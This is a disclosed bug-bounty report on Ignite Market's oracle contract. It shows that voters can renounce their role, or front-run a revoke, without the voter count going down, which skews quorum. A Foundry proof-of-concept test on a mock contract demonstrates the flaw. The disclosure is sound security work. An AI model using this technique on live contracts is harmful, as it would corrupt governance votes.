Ignite Market Disclosed Report

Initial voters are able to renounce their role without reduction of the voter count

Created date
May 09 2025

Target

https://github.com/hackenproof-public/ignite-market-smart-contracts

Vulnerability Details

The IgniteOracle.sol, responsible for question initialization and finalization, relies on a set of voters for non-automatic question resolutions. The project will initially work with a set of voters before transitioning to a governance DAO model, based on token holdings. To achieve this, a VOTER role is created and granted and each granting increments the number of voters and each revoking of a VOTER decreases the number of voters. This is achieved via implementing Openzeppelin's AccessControl.sol and overriding it's methods. However the method renounceRole() is left completely public:

    function renounceRole(bytes32 role, address callerConfirmation) public virtual {
        if (callerConfirmation != _msgSender()) {
            revert AccessControlBadConfirmation();
        }


        _revokeRole(role, callerConfirmation);
    }

This would allow any VOTER to leave the system without decrementing the voter count, as it should, leaving the contract in an incorrect state. On it's own, a voter is not incentivized to do this. However, in the scenario where voters are removed, but re-added at a later point, a voter can front-run the admin's call to revoke and renounce it before him. If at a later point, this voter gets re-added, there would be 1 more voter in the total that there are voters available, potentially impacting question resolutions when the vote is close to the quorum percentage.

Validation steps

Below is a minimalistic POC Foundry test that utilizes mocks and minimal implementation of the Ignite oracle, which isolates only the role-based logic and voter tracking to showcase how the number of voters is left un-updated and how we getting readded further throws off the internal voter tracking.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.26;

import "forge-std/Test.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";

// Full IJsonApi interface
interface IJsonApi {
    struct RequestBody {
        string url;
        string postprocessJq;
        string abi_signature;
    }
    struct ResponseBody {
        bytes abi_encoded_data;
    }
    struct Response {
        bytes32 attestationType;
        bytes32 sourceId;
        uint64 votingRound;
        uint64 lowestUsedTimestamp;
        RequestBody requestBody;
        ResponseBody responseBody;
    }
    struct Proof {
        bytes32[] merkleProof;
        Response data;
    }
}

// Minimal verification interface
interface IJsonApiVerification {
    function verifyJsonApi(IJsonApi.Proof calldata proof) external returns (bool);
}

// Minimal ConditionalTokens interface
interface IConditionalTokens {
    function prepareCondition(address oracle, bytes32 questionId, uint256 outcomeSlotCount) external;
    function reportPayouts(bytes32 questionId, uint[] calldata payouts) external;
}

// Dummy implementations
contract DummyVerification is IJsonApiVerification {
    function verifyJsonApi(IJsonApi.Proof calldata) external pure override returns (bool) {
        return true;
    }
}
contract DummyConditionalTokens is IConditionalTokens {
    function prepareCondition(address, bytes32, uint256) external override {}
    function reportPayouts(bytes32, uint[] calldata) external override {}
}

// The minimal IgniteOracle focusing on role logic
contract IgniteOracle is AccessControl {
    bytes32 public constant VOTER_ROLE = keccak256("VOTER_ROLE");
    IConditionalTokens public immutable conditionalTokens;
    IJsonApiVerification public immutable verification;
    uint256 public noOfVoters;

    constructor(
        address _admin,
        address _conditionalTokens,
        address _verification,
        uint256 /*_minVotes*/
    ) {
        require(_admin != address(0), "NA not allowed");
        require(_conditionalTokens != address(0), "NA not allowed");
        require(_verification != address(0), "NA not allowed");
        conditionalTokens = IConditionalTokens(_conditionalTokens);
        verification = IJsonApiVerification(_verification);
        _grantRole(DEFAULT_ADMIN_ROLE, _admin);
    }

    function grantRole(bytes32 role, address account) public override onlyRole(getRoleAdmin(role)) {
        if (role == VOTER_ROLE && !hasRole(VOTER_ROLE, account)) {
            noOfVoters += 1;
        }
        _grantRole(role, account);
    }

    function revokeRole(bytes32 role, address account) public override onlyRole(getRoleAdmin(role)) {
        if (role == VOTER_ROLE && hasRole(VOTER_ROLE, account)) {
            noOfVoters -= 1;
        }
        _revokeRole(role, account);
    }
    // renounceRole is inherited, so it doesn't touch noOfVoters
}

contract IgniteOracleTest is Test {
    IgniteOracle oracle;
    DummyConditionalTokens tokens;
    DummyVerification verification;

    address admin = address(0xA11CE);
    address voter = address(0xB0B);

    function setUp() public {
        tokens = new DummyConditionalTokens();
        verification = new DummyVerification();
        oracle = new IgniteOracle(admin, address(tokens), address(verification), 3);

        vm.startPrank(admin);
        oracle.grantRole(oracle.VOTER_ROLE(), voter);
        vm.stopPrank();
    }

    function testRenounceRoleDoesNotUpdateNoOfVoters() public {
        // initial count = 1
        assertEq(oracle.noOfVoters(), 1);

        // voter renounces
        vm.startPrank(voter);
        oracle.renounceRole(oracle.VOTER_ROLE(), voter);
        vm.stopPrank();

        // role is gone, but counter stayed at 1
        assertFalse(oracle.hasRole(oracle.VOTER_ROLE(), voter));
        assertEq(oracle.noOfVoters(), 1, "noOfVoters should remain 1 after renounceRole");
    }

    function testRevokeRoleDoesUpdateNoOfVotersAndCheckMismatch() public {
        // voter renounces their role
        vm.startPrank(voter);
        oracle.renounceRole(oracle.VOTER_ROLE(), voter);
        vm.stopPrank();

        // Ensure they no longer have the role
        assertFalse(oracle.hasRole(oracle.VOTER_ROLE(), voter));

        // noOfVoters remains the same (still 1)
        assertEq(oracle.noOfVoters(), 1, "noOfVoters should remain 1 after renounce");

        // Admin tries to re-add the same voter
        vm.startPrank(admin);
        oracle.grantRole(oracle.VOTER_ROLE(), voter);
        vm.stopPrank();

        // They should now have the role again
        assertTrue(oracle.hasRole(oracle.VOTER_ROLE(), voter));

        // But because grantRole increments unconditionally, noOfVoters becomes 2
        assertEq(oracle.noOfVoters(), 2, "noOfVoters should be 2 after re-granting the role");

    }

}

Attachments

hidden
CommentsReport History
Comments on this report are hidden
Details
State
hidden
Severity
Low
Bounty$0
Visibilitypartially
VulnerabilityRace Conditions
Participants (3)
company admin
author